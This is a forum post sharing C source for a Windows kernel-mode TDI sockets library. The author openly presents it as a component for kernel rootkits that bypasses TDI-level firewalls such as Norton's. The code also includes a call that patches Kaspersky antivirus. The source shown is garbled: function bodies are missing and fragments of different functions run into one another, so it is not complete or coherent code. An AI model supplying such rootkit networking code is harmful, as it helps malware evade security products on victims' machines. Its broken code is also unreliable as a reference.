By: valerino
Kernel mode sockets library
It';s my birthday today (just turned 31 the 31st december, funny eh ?!), i wanted to publish something,
it makes me feel alive. Christ lived 33 years only, if i';d be the new Christ
i';ve only 2 years left, so better to share my knowledge now :)
Well, here you have a fully functional TDI sockets library. You can connect,
send, receive, all from your supa-dupa-l333t kernelmode rootkit. Yes, you can
bypass lame TDI firewalls with this. No, you can';t bypass ndis firewalls.
(read : you can bypass norton';s firewall).
Consider that something like this worths $400+ from PCAUSA, and maybe more
from OSR (KSOCKS)..... enough for a new year';s present :)
Usage : you have to hook \\device\tcp yourself and set the global variable TcpIpDevice.
Then call KSocketInitialize and you';re done. Refer to the source for usage.... it shouldn';t be hard.
have fun, and happy 2006 to everyone ! Ciao! :)
-----------------------------------------sockets.c------------------------------
//************************************************************************
//
// sockets.c
// (c) valerino/xOANINO 2003/2004/2005
//
// this module implements a generic kernel sockets library.
// ** Beware that this is optimized for single thread use if REUSE_SOCKETSIRP is defined.**
//*****************************************************************************
#include "ntifs.h"
#define MODULE "**SOCKETS**"
#ifdef DBG
#ifdef NO_SOCKETS_DBGMSG
#undef KDebugPrint
#define KDebugPrint(DbgLevel,_x)
#endif
#endif
/************************************************************************/
// BOOL KSocketInitialize()
//
// Initialize kernelsockets library
//
/************************************************************************/
BOOL KSocketInitialize()
{
ExInitializePagedLookasideList(&LookasideSocketMem, NULL, NULL, 0, 1024, ';lskN';, 0);
ExInitializePagedLookasideList(&LookasideSocket,NULL,NULL,0,sizeof (KSOCKET),';cosN';,0);
#ifdef REUSE_SOCKETSIRP
// check for tcpdevice
if (!TcpIpDevice)
return TRUE;
// allocate the single irp we use throughout the sockets library
SocketsIrp = IoAllocateIrp(TcpIpDevice->StackSize + 1, FALSE);
if (!SocketsIrp)
return FALSE;
#endif
return TRUE;
}
/************************************************************************/
// PVOID KSocketAllocatePool(VOID)
//
// Allocate memory from sockets lookaside
//
/************************************************************************/
PVOID KSocketAllocatePool(VOID)
{
PCHAR p = NULL;
p = ExAllocateFromPagedLookasideList(&LookasideSocketMem);
if (p)
memset(p, 0, SMALLBUFFER_SIZE);
return p;
}
/************************************************************************/
// void KSocketFreePool(PVOID pBuffer)
//
// Free memory to sockets lookaside
//
/************************************************************************/
void KSocketFreePool(PVOID pBuffer)
{
ExFreeToPagedLookasideList(&LookasideSocketMem, pBuffer);
}
/************************************************************************/
// NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
//
// Release a socket object
//
/************************************************************************/
NTSTATUS KSocketCloseObject(HANDLE Handle, PFILE_OBJECT FileObject)
{
NTSTATUS Status = STATUS_SUCCESS;
// dereference referenced object (called for connection and address)
if (FileObject)
ObDereferenceObject(FileObject);
// close socket
if (Handle)
Status = ZwClose(Handle);
return Status;
}
/************************************************************************/
// PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
// ULONG ValueLength, PULONG EaLength)
//
// Build EA information for the socket object
//
/************************************************************************/
PFILE_FULL_EA_INFORMATION KSocketBuildEaValues(PVOID EaName, ULONG NameLength, PVOID EaValue,
ULONG ValueLength, PULONG EaLength)
{
PFILE_FULL_EA_INFORMATION Ea;
*EaLength = FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName[0]) + NameLength + 1 + ValueLength;
// allocate ea buffer
Ea = ExAllocatePool(PagedPool, *EaLength);
if (!Ea)
return NULL;
// fill buffer with EA values requested
Ea->NextEntryOffset = 0;
Ea->Flags = 0;
Ea->EaNameLength = (UCHAR) NameLength;
Ea->EaValueLength = (USHORT) ValueLength;
memcpy (Ea->EaName,EaName,Ea->EaNameLength + 1);
if (EaValue && EaLength)
memcpy (&Ea->EaName[NameLength + 1],EaValue,ValueLength);
// set status block
Ctx->Iosb.Status = Irp->IoStatus.Status;
Ctx->Iosb.Information = Irp->IoStatus.Information;
// Free any associated MDL.
if (Irp->MdlAddress != NULL)
{
for (mdl = Irp->MdlAddress; mdl != NULL; mdl = nextMdl)
{
nextMdl = mdl->Next;
MmUnlockPages(mdl);
// This function will also unmap pages.
IoFreeMdl(mdl);
}
// set mdl address to null, to prevent iofreeirp to attempt to free it again
Irp->MdlAddress = NULL;
}
#ifdef REUSE_SOCKETSIRP
// set irp for reuse
IoReuseIrp (Irp,STATUS_SUCCESS);
#else
// free irp
IoFreeIrp (Irp);
#endif
// set event
if (Ctx)
KeSetEvent (&Ctx->Event,IO_NO_INCREMENT,FALSE);
// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketConnect timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
// ok
Status = Ctx.Iosb.Status;
}
if (Status == STATUS_SUCCESS)
pSocket->Connected = TRUE;
// call tcpip
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketDisconnect timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}
if (NT_SUCCESS (Status))
pSocket->Connected = FALSE;
// call tcp
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketSend timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}
// return sent bytes
*BytesSent = Ctx.Iosb.Information;
// check transferred bytes
if (Ctx.Iosb.Information != Size)
Status = STATUS_CONNECTION_ABORTED;
if (!NT_SUCCESS(Status))
{
KDebugPrint(1, ("%s KSocketSend returned error %08x (ReqSent:%d,OkSent:%d)\n", MODULE, Status,
Size, *BytesSent));
}
// call tcp
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
// returned status pending
Status = KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, &SockTimeout);
if (Status == STATUS_TIMEOUT)
{
KDebugPrint (1, ("%s ***************** KSocketReceive timeout occurred ***************** cancelling IRP\n", MODULE));
// cancel irp
IoCancelIrp(Irp);
// wait for completion routine to be called
KeWaitForSingleObject(&Ctx.Event, Executive, KernelMode, FALSE, NULL);
Status = STATUS_CONNECTION_ABORTED;
}
else
{
// ok
Status = Ctx.Iosb.Status;
}
}
// return received bytes
*BytesReceived = Ctx.Iosb.Information;
// check received bytes
if (Ctx.Iosb.Information == 0)
Status = STATUS_CONNECTION_ABORTED;
if (!NT_SUCCESS(Status))
{
KDebugPrint(1, ("%s KSocketReceive returned error %08x (ReqRecv:%d,OkRecv:%d)\n", MODULE, Status,
Size, *BytesReceived));
}
// handle KAV (crash if not patched)
ModulePatchKAV();
// allocate memory for a new socket
iSocket = ExAllocateFromPagedLookasideList(&LookasideSocket);
if (!iSocket)
{
Status = STATUS_INSUFFICIENT_RESOURCES;
goto __exit;
}
memset (iSocket,0, sizeof(KSOCKET));
// open transport address
Status = KSocketOpenAddress(&iSocket->TransportAddressHandle, &iSocket->TransportAddress,
iSocket);
if (!NT_SUCCESS(Status))
goto __exit;
// create connection endpoint
Status = KSocketOpenConnection(&iSocket->ConnectionFileHandle, &iSocket->ConnectionFile,
iSocket);
if (!NT_SUCCESS(Status))
goto __exit;
// associate address with connection
Status = KSocketAssociateAddress(iSocket->TransportAddressHandle, iSocket->ConnectionFile);
if (!NT_SUCCESS(Status))
goto __exit;
__exit:
if (!NT_SUCCESS(Status))
{
if (iSocket)
KSocketClose(iSocket);
*Socket = NULL;
}
else
*Socket = iSocket;
return Status;
}
/************************************************************************/
// NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
//
// Read line (ascii) from network
//
/************************************************************************/
NTSTATUS KSocketReadLine(PKSOCKET pSocket, PCHAR buf, SIZE_T maxlen, PSIZE_T ReceivedBytes)
{
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UCHAR c = 0;
ULONG i = 0;
ULONG received = 0;
// check params
if (!pSocket || !buf || !ReceivedBytes || !maxlen)
goto __exit;
*ReceivedBytes = 0;
if (!pSocket->Connected)
goto __exit;
// read line char by char, and stop at EOL
memset (buf, 0, maxlen);
while (TRUE)
{
if (i == maxlen)
break;
// get char from socket
Status = KSocketReceive (pSocket,&c,1,&received,FALSE);
if (!NT_SUCCESS (Status) || received == 0)
break;
// write char into buffer and advance
*buf = c;
buf++;
i++;
// check for EOL
if (c == ';\n';)
{
*ReceivedBytes = i;
break;
}
}
__exit:
// treat 0 size received as error
if (received == 0)
Status = STATUS_NO_DATA_DETECTED;
return Status;
}
/************************************************************************/
// NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
//
// write formatted line (ascii) to network
//
/************************************************************************/
NTSTATUS KSocketWriteLine(PKSOCKET pSocket, const char* format, ...)
{
va_list ap;
char* buf;
ULONG len;
NTSTATUS Status;
SIZE_T BytesSent = 0;
// allocate memory
buf = KSocketAllocatePool();
if (!buf)
return STATUS_INSUFFICIENT_RESOURCES;
// build line
va_start(ap, format);
_vsnprintf(buf, SMALLBUFFER_SIZE, format, ap);
va_end(ap);
len = strlen(buf);
// send
Status = KSocketSend(pSocket, buf, len, &BytesSent);
// free buffer
KSocketFreePool(buf);
// check if we';ve sent all bytes
if (BytesSent < len)
return STATUS_UNSUCCESSFUL;